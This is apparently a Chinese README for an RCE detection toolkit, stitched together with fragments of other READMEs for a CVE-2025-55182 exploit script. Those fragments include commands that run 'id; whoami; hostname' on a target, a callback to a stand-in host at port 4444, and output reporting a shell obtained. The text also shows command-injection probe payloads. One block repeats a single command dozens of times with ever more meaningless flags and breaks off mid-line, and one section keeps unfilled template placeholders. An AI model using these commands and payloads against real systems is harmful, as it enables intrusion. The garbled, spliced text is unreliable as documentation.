RCE 检测与确认工具包,可测试 URL 或捕获的 HTTP 请求中的命令注入、SSTI、盲注和 OOB 路径,并返回带证据的分级判定结果。
confirmed 表示目标执行了输入。negative 表示探测已到达目标。
版本 2.40.0 · MIT · Python 3.8+ · 零第三方依赖
RCEKit 是一款 RCE 检测与确认工具包,面向经授权的渗透测试、红队行动和安全研究。将它指向一个你获准测试的目标——一个 URL 或一段捕获的 HTTP 请求——每一项发现都会带着它赢得的等级返回。
每一个 confirmed 都建立在一个 RCEKit 为该次探测随机生成、且该反射无法产生的值之上:一个出现在响应中、却不存在于无载荷对照中的计算结果,或一个携带只有目标才持有过的令牌的带外回调。较弱的信号保留各自的等级,绝不会被提升为 confirmed。而一次无法测试某项内容的运行,绝不会将其报告为干净。
RCEKit 在同一个 CLI 下通过多种方法确认 RCE。下面它被指向生产软件中真实的、有公开记录的 CVE——每个判定都与无载荷对照做了差分:
| RCE 类别 | --methods | 真实世界目标 | 判定 |
|---|
| OS 命令注入(基于结果) | reflected | Webmin 1.910 — CVE-2019-15107 | confirmed |
| 表达式注入(OGNL) | eval | Apache Struts2 — S2-001 | confirmed |
| 表达式查找(Log4Shell/JNDI) | lookup | Apache Solr 8.11.0(Log4j 2.14.1)— CVE-2021-44228 | lookup-sink |
| 盲命令注入(无输出) | time | Webmin 1.910 — CVE-2019-15107 | needs-review |
每一行都由 tests/bench/ 复现,它在 Docker 下针对这些构建运行 RCEKit,并检查判定以及其阴性对照。最近一次运行在 2.36.0(2026-09-20)通过:3/3 用例。这是一个时间点上的声明,而非持续性的——基准测试按节奏运行,而非每次变更都运行。
每个对照都是该行真正的测试。用 reflected 探测 Struts2 会返回 negative,因为 S2-001 会重新求值 OGNL,而其背后没有 shell。Webmin 的 time 信号在一个恰好正确命中的目标上被保持在 needs-review。而用 oob 探测 Solr 会返回 negative,尽管它是可利用的——oob 构建 shell 命令,而 ${jndi:...} 接收点不会运行其中任何一条,这正是 lookup 存在所要弥合的缺口,是被测量出来的而非断言出来的。
Log4Shell 那一行显示的是 lookup-sink,而非 confirmed:回调所证明的是该接收点解析了一个 RCEKit 选定的 URI。要达到 RCE,需要一个能用可加载类来应答该查找的服务器,而在默认风险等级下只有 jndi:dns:// 会发出——一次名称查找,其后没有任何连接可供这样的服务器应答。
reflected — OS 命令注入,Webmin CVE-2019-15107 → confirmed
eval — OGNL 表达式注入,Apache Struts2 S2-001 → confirmed
lookup-sink
time — 盲命令注入,Webmin CVE-2019-15107 → needs-review
RCEKit 有两种受支持的形态,二者互不为对方的回退方案。
安装它——pipx 将 CLI 保留在它自己的环境中,对于一款工具而非库来说,这正是你想要的:```bash
pipx install rcekit # or: pip install rcekit
rcekit --doctor # confirms the corpus it will run with
**或者只取这一个文件。** payload 语料库已内置于该模块中,因此
`rcekit.py` 可以独立运行,旁边无需任何其他文件——无需安装步骤,无需
site-packages,不会留下任何痕迹。在客户跳板机、气隙主机上,或任何
无法使用 `pip install` 的地方:```bash
curl -O https://raw.githubusercontent.com/kabiri-labs/rcekit/main/rcekit.py
python rcekit.py --doctor # same corpus, same check, zero installation
两者运行相同的代码并报告相同的判定结果。从检出目录运行是第三种方式,同样无需安装:```bash git clone https://github.com/kabiri-labs/rcekit.git cd rcekit # Python 3.8+, standard library only
在输入落点处放置一个 `FUZZ` 标记(或在使用捕获的请求时用 `-p` 选择参数),然后让 RCEKit 证明 RCE:```bash
rcekit --acknowledge-consent \
--verify-url "https://target.example/lookup?host=FUZZ" \
--methods reflected,eval
# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com
# 使用自定义回调地址扫描
python3 cve_2025_55182.py -t https://target.example.com -c https://your-server.com/callback
# 使用代理扫描
python3 cve_2025_55182.py -t https://target.example.com -p http://127.0.0.1:8080
# 使用自定义超时时间扫描
python3 cve_2025_55182.py -t https://target.example.com --timeout 15
# 详细输出
python3 cve_2025_55182.py -t https://target.example.com -v
# 扫描文件中的多个目标
python3 cve_2025_55182.py -f targets.txt
# 使用自定义线程数扫描
python3 cve_2025_55182.py -f targets.txt --threads 20
# 将结果保存为 JSON
python3 cve_2025_55182.py -t https://target.example.com -o results.json
# 将结果保存为文本
python3 cve_2025_55182.py -t https://target.example.com -o results.txt
| 选项 | 描述 | 默认值 |
|---|---|---|
-t, --target | 要扫描的单个目标 URL | - |
-f, --file | 包含目标 URL 的文件 | - |
-c, --callback | 用于验证的回调 URL | - |
-p, --proxy | 用于请求的代理 URL | - |
--timeout | 请求超时时间(秒) | 10 |
--threads | 并发线程数 | 10 |
-o, --output | 输出文件路径 | - |
-v, --verbose | 启用详细输出 | False |
--no-color | 禁用彩色输出 | False |
该工具通过以下步骤检测 CVE-2025-55182:
该漏洞存在于请求处理机制中,攻击者可通过构造恶意请求实现任意代码执行。该漏洞无需身份验证即可利用,使其成为严重威胁。
本工具仅供教育和道德安全测试目的使用。未经授权访问系统是违法的。请务必:
作者对因使用本工具造成的任何误用或损害不承担责任。``` [detect] methods: reflected, eval [detect] sent 13 probes: confirmed=4, negative=9
[detect] CONFIRMED execution (4): [reflected/unix/raw] ; echo RKYZRIP$((540141+314681))RKFWVFS$(echo RKBWOOC)RKYZRIP (target computed 'RKYZRIP854822RKFWVFSRKBWOOCRKYZRIP' — random operands, absent from control)
### 从捕获的请求出发——大多数真实目标所具有的形态
`--verify-url` 只携带一个 URL,别无其他。大多数值得测试的汇聚点都位于带有会话 cookie、内容类型和请求体的 POST 之后,而 RCEKit 会完整接收该请求:从你的代理或浏览器开发者工具中保存它,并指定要注入的字段。```bash
rcekit --acknowledge-consent \
-r search.req -p q \
--methods reflected,eval
python3 CVE-2025-55182.py -u https://target.com
python3 CVE-2025-55182.py -u https://target.com -c "id; whoami; hostname"
python3 CVE-2025-55182.py -u https://target.com --proxy http://127.0.0.1:8080
python3 CVE-2025-55182.py -u https://target.com --callback your-server.com:4444
python3 CVE-2025-55182.py -u https://target.com --path /custom/path
python3 CVE-2025-55182.py -u https://target.com -H "Authorization: Bearer token" -H "X-Custom: value"
python3 CVE-2025-55182.py -u https://target.com -A "Mozilla/5.0 (Custom)"
python3 CVE-2025-55182.py -u https://target.com -t 60
python3 CVE-2025-55182.py -u https://target.com -e base64
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname"
python3 CVE-2025-55182.py -u https://target.com -e base64 --callback your-server.com:4444
python3 CVE-2025-55182.py -u https://target.com -e base64 --path /custom/path
python3 CVE-2025-55182.py -u https://target.com -e base64 -H "Authorization: Bearer token" -H "X-Custom: value"
python3 CVE-2025-55182.py -u https://target.com -e base64 -A "Mozilla/5.0 (Custom)"
python3 CVE-2025-55182.py -u https://target.com -e base64 -t 60
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --path /custom/path
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" -H "Authorization: Bearer token" -H "X-Custom: value"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" -A "Mozilla/5.0 (Custom)"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" -t 60
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 -H "Authorization: Bearer token" -H "X-Custom: value"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 -A "Mozilla/5.0 (Custom)"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 -t 60
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -A "Mozilla/5.0 (Custom)"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -t 60
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -t 60
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -A "Mozilla/5.0 (Custom)" -t 60
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https --path /custom/path
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https --path /custom/path --query "param1=value1¶m2=value2"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https --path /custom/path --query "param1=value1¶m2=value2" --fragment "section1"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https --path /custom/path --query "param1=value1¶m2=value2" --fragment "section1" --userinfo "user:pass"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https --path /custom/path --query "param1=value1¶m2=value2" --fragment "section1" --userinfo "user:pass" --auth "user:pass"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https --path /custom/path --query "param1=value1¶m2=value2" --fragment "section1" --userinfo "user:pass" --auth "user:pass" --token "abc123"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https --path /custom/path --query "param1=value1¶m2=value2" --fragment "section1" --userinfo "user:pass" --auth "user:pass" --token "abc123" --secret "secret123"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https --path /custom/path --query "param1=value1¶m2=value2" --fragment "section1" --userinfo "user:pass" --auth "user:pass" --token "abc123" --secret "secret123" --signature "signature123"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https --path /custom/path --query "param1=value1¶m2=value2" --fragment "section1" --userinfo "user:pass" --auth "user:pass" --token "abc123" --secret "secret123" --signature "signature123" --timestamp "1234567890"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https --path /custom/path --query "param1=value1¶m2=value2" --fragment "section1" --userinfo "user:pass" --auth "user:pass" --token "abc123" --secret "secret123" --signature "signature123" --timestamp "1234567890" --nonce "nonce123"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https --path /custom/path --query "param1=value1¶m2=value2" --fragment "section1" --userinfo "user:pass" --auth "user:pass" --token "abc123" --secret "secret123" --signature "signature123" --timestamp "1234567890" --nonce "nonce123" --version "1.0"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https --path /custom/path --query "param1=value1¶m2=value2" --fragment "section1" --userinfo "user:pass" --auth "user:pass" --token "abc123" --secret "secret123" --signature "signature123" --timestamp "1234567890" --nonce "nonce123" --version "1.0" --format "json"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https --path /custom/path --query "param1=value1¶m2=value2" --fragment "section1" --userinfo "user:pass" --auth "user:pass" --token "abc123" --secret "secret123" --signature "signature123" --timestamp "1234567890" --nonce "nonce123" --version "1.0" --format "json" --encoding "base64"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https --path /custom/path --query "param1=value1¶m2=value2" --fragment "section1" --userinfo "user:pass" --auth "user:pass" --token "abc123" --secret "secret123" --signature "signature123" --timestamp "1234567890" --nonce "nonce123" --version "1.0" --format "json" --encoding "base64" --compression "gzip"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin "https://example.com" --host "example.com" --port 8080 --scheme https --path /custom/path --query "param1=value1¶m2=value2" --fragment "section1" --userinfo "user:pass" --auth "user:pass" --token "abc123" --secret "secret123" --signature "signature123" --timestamp "1234567890" --nonce "nonce123" --version "1.0" --format "json" --encoding "base64" --compression "gzip" --encryption "aes"
python3 CVE-2025-55182.py -u https://target.com -e base64 -c "id; whoami; hostname" --callback your-server.com:4444 --path /custom/path -H "Authorization: Bearer token" -H "X-Custom: value" -A "Mozilla/5.0 (Custom)" -t 60 --proxy http://127.0.0.1:8080 -m POST -d "param1=value1¶m2=value2" --cookie "session=abc123" --referer "https://example.com" --origin```
[detect] sent 4 probes: confirmed=3, negative=1
[detect] CONFIRMED execution (3):
[reflected/unix/raw] ; echo RKHWNHK$((114157+752773))RKXGFIH$(echo RKHSEIF)RKHWNHK
(target computed 'RKHWNHK866930RKXGFIHRKHSEIFRKHWNHK' — random operands, absent from control)
方法和路径、请求头、请求体以及 Cookie 都会按捕获时的原样复用,每个值都会根据其落入的上下文进行编码——JSON 叶子节点、表单字段和 Cookie 的转义方式并不相同。如果你更倾向手动指定,可以去掉 -p,改用 FUZZ 或 * 标记注入位置。
有两项功能只能从捕获的请求中触达:注入点枚举(--auto-params),以及任何需要会话的注入点。因此,RCEKit 能执行的最完整运行是从 -r 开始,而不是从 URL 开始——在断定目标干净之前,这一点值得了解。```bash
rcekit --acknowledge-consent
-r search.req --auto-params all --point-order thorough
--methods reflected,eval,time,lookup,deser
--oob-host oob.yourdomain.example --listen-dns-port 53
--verify-active-risk stateful --probe-depth full
--detect-json findings.json
## 使用示例
### 基本用法
```bash
# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com
# 使用代理扫描
python3 cve_2025_55182.py -t https://target.example.com -p http://127.0.0.1:8080
# 使用自定义超时时间扫描
python3 cve_2025_55182.py -t https://target.example.com --timeout 30
# 详细输出
python3 cve_2025_55182.py -t https://target.example.com -v
# 从文件扫描多个目标
python3 cve_2025_55182.py -f targets.txt
# 使用线程扫描
python3 cve_2025_55182.py -f targets.txt --threads 10
# 将结果保存到文件
python3 cve_2025_55182.py -f targets.txt -o results.txt
# 使用自定义载荷扫描
python3 cve_2025_55182.py -t https://target.example.com --payload "custom_payload"
# 使用自定义 User-Agent 扫描
python3 cve_2025_55182.py -t https://target.example.com --user-agent "Mozilla/5.0"
# 使用自定义请求头扫描
python3 cve_2025_55182.py -t https://target.example.com --header "X-Custom: value"
# 使用自定义 Cookie 扫描
python3 cve_2025_55182.py -t https://target.example.com --cookie "session=abc123"
| 选项 | 描述 | 默认值 |
|---|---|---|
-t, --target | 要扫描的单个目标 URL | - |
-f, --file | 包含目标 URL 的文件 | - |
-p, --proxy | 用于请求的代理 URL | - |
--timeout | 请求超时时间(秒) | 10 |
--threads | 并发线程数 | 5 |
-o, --output | 输出文件路径 | - |
-v, --verbose | 启用详细输出 | False |
--payload | 自定义利用载荷 | - |
--user-agent | 自定义 User-Agent 字符串 | - |
--header | 自定义请求头 | - |
--cookie | 自定义 Cookie | - |
-h, --help | 显示帮助信息并退出 | - |
该工具利用 CVE-2025-55182 漏洞,通过以下步骤实现:
CVE-2025-55182 是 [受影响软件/组件] 中的一个 [漏洞类型] 漏洞,允许攻击者 [影响描述]。
[+] 目标:https://target.example.com
[+] 正在检查 CVE-2025-55182...
[+] 目标存在漏洞!
[+] 利用成功!
[+] 已获取 Shell:uid=33(www-data) gid=33(www-data) groups=33(www-data)
本工具仅供教育和道德测试目的使用。未经授权使用本工具攻击目标属于违法行为。作者对任何滥用或由此造成的损害不承担责任。
使用本工具即表示您同意:
欢迎贡献!请随时提交 Pull Request。
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)本项目根据 MIT 许可证授权 - 详情请参阅 LICENSE 文件。
⭐ 如果您觉得这个工具有用,请给仓库点个星!``` [verify] loaded request from search.req: enumerating 4 injection point(s) [detect] enumerating 4 injection point(s) x 3 method(s) [detect] cost: 4 points x ~1739 probes = at least 6964 requests [detect] body param 'q': confirmed (1544 probes) <-- CONFIRMED [detect] sent 6371 probes: confirmed=446, negative=5925
每个标志开启的功能:
| | |
|---|---|
| `--auto-params all` | 每个查询值、JSON 叶子、表单字段、multipart 部分、cookie 和 header,而不是一个命名字段 |
| `--point-order thorough` | 每个非逐跳 header,而不仅仅是高收益的那些 |
| `--methods ...,lookup,deser` | 表达式查找和反序列化 sink,这是 shell 形态的方法无法触及的 |
| `--oob-host` | 用于盲方法的回调主机。需要一个委派给你的域名;端口 53 需要 root |
| `--verify-active-risk stateful` | 最高层级——添加探测形态,使目标从 RCEKit 未选择的地址进行获取 |
| `--probe-depth full` | 每个 sink 的每种突破形态,而不仅仅是廉价的那些 |
| `--detect-json` | 与机器可读 JSON 相同的判定 |
**这是大量请求。** 成本行会在任何请求发出之前打印,并且
`--max-points` / `--max-payloads` 会对其进行限制。针对你被允许破坏的实例运行它:
`--verify-active-risk stateful` 是用于一次性目标的层级,而不是用于生产环境。
无需外部基础设施,无需配置文件。
**不要轻信 GIF**——[自己复现它们](https://github.com/kabiri-labs/rcekit/blob/main/docs/verify-it-yourself.md)
针对 docker 化的 Webmin 和 Struts2 目标,大约五分钟即可完成。
**下一步:**[**实战指南**](https://github.com/kabiri-labs/rcekit/blob/main/docs/guide.md) 会逐一讲解真实场景——捕获的
请求、WAF、被过滤的分隔符、被引用的 sink、盲目标和无出网目标——
每个场景一个完整示例。
---
## 判定意味着什么
发现一个 RCE *候选*很容易。报告一个能通过他人复测的候选才是难的部分,而它会在两个方向上失败:一个“可能易受攻击”最终被证明是反射,以及一次从未真正测试任何内容的运行得出的“不易受攻击”。
RCEKit 用**八种绝不相互合并的判定**来回答:
| 判定 | 它断言的内容 |
|---|---|
| **`confirmed`** | 目标执行了输入。它返回了一个否则无法产生的值——该值由对该探测随机的操作数计算得出——并且该值在无载荷对照中不存在。 |
| **`deserialization-sink`** | 目标重建了攻击者提供的对象图。已证实,但关乎的是*另一种属性*:从那里到达 RCE 取决于 classpath gadget,因此它绝不被称为 RCE。 |
| **`lookup-sink`** | 目标解析了 RCEKit 交给它的一个 URI——一个 `${jndi:…}` 表达式到达了查找,通过一个携带只有该探测持有的令牌的回调得到证实。它是一个 sink,而不是执行:从那里到达 RCE 需要一个以可加载类进行应答的服务器。 |
| **`needs-review`** | 一个真实信号,但其本身并非证据——线性时序回归、解析器指纹。值得你花时间,但绝不值得用“confirmed”这个词。 |
| **`inconclusive`** | 证据出现了,但无法归因于执行——无载荷对照也携带了它。 |
| **`negative`** | 探测已构建、已到达目标,但未发现任何东西。 |
| **`error`** | 没有任何东西到达目标。 |
| **`nothing-tested`** | 根本没有构建任何探测。 |
一旦 `confirmed` 和 `maybe` 变得模糊,`confirmed` 就不再有任何意义——因此
任何东西都不会被向上提升。时序回归无论斜率多么干净,都保持为 `needs-review`。反序列化回调无论你多么确定 classpath 可利用,都保持为 `deserialization-sink`。
### 另一半:一次什么都没测试的运行绝不算干净
最后两行是其他工具所没有的,它们的重要性超出表面。一个无法到达目标的扫描器,或者因为你的标志排除了每一个探测而没有构建任何探测的扫描器,对目标**一无所知**——
而在那里打印 `negative` 是一个谎言,读起来却和安全性一模一样。
因此 `error` 和 `nothing-tested` 是一等判定,运行会以非零状态退出,
并且 RCEKit 会说明发生了其中哪一种以及原因:```
[!] No probes were built, so NOTHING WAS TESTED — this is not a negative result.
[!] None of the selected methods (reflected, file) apply to environment(s): sql.
它在任何一次运行可能悄然变为空的地方触发:一个不适用于所选环境的方法、所选 shell 没有语法支持的 --sink-shape 层级、一个被安全上限完全拦下的 --bridges 选择、一个在到达之前就破坏了投递的请求体。
一次仅被部分致盲的运行,会在下一层级得到同样的处理。如果你请求了二阶 oracle,而所观察的端点从未应答,探测判定仍然成立——但运行会告诉你,这些判定是在从未读取你指向的通道的情况下做出的,而不是让它们冒充二阶阴性结果。
一个 CLI,一个 --methods 标志,覆盖通往 RCE 的主要路径:
| RCE 类别 | --methods | RCEKit 如何证明它 |
|---|---|---|
| OS 命令注入 | reflected | 让 shell 对随机操作数计算 $((a+b)) 并折叠 $(echo TAG);确认的是结果,从不是字面表达式。以 sink 自身的方言编写——POSIX、cmd.exe 或 PowerShell。 |
代码 / 表达式注入 — SSTI、SpEL、OGNL、Groovy、eval() (CWE-94) | eval | 以所有常见模板语法(${…} {{…}} #{…} %{…} <%=…%> @(…)、裸形式)注入 a*b;确认乘积出现,而字面 a*b 不出现。 |
| 盲命令注入(无输出) | time | 触发受控的 0/N/2N 延迟序列,并确认响应时间线性跟随延迟;报告为 needs-review——抖动无法伪造它,但时序不是计算出的值。 |
| 内部 / 无出网目标 | file | 写入一个随机令牌,并通过任意回读路径取回它——web 根目录、LFI 参数、下载或导出处理器、/tmp 支持的预览。证明执行加上写原语,无需外部监听器。 |
| 上传 / 写原语 — PUT-a-JSP、未检查的上传 (CWE-434) | write | 写入一个单行程序,通过你自己的上传请求计算乘积,然后取回该文件:乘积为 confirmed RCE,原样返回的源码为 needs-review——任意文件写入,被提供但未被解释。 |
| 反序列化 sink — fastjson、shiro、weblogic (CWE-502) | deser | 通过非执行的 DNS gadget 或错误形态差分,证明端点反序列化攻击者数据。报告为 deserialization-sink,从不报告为 RCE。 |
| 盲 / 带外 — 外泄、异步 | oob | 内置 HTTP/DNS 监听器接收回调,并将每个回调关联到确切的 payload;每个探测都携带自己的令牌。 |
| 表达式查找 sink — Log4Shell/JNDI | lookup | sink 解析 ${jndi:…} URI 而不是运行命令,因此 oob 的 shell 探测触及不到任何东西。仅凭回调证明它,并报告 lookup-sink,从不报告 confirmed。只发送 jndi:dns://——一次名称查找,别无其他——因此被证明的是查找,而不是 gadget 链。 |
有三件事拓宽了这些方法能够触及的范围,而不改变它们中任何一个会称为什么为 confirmed:
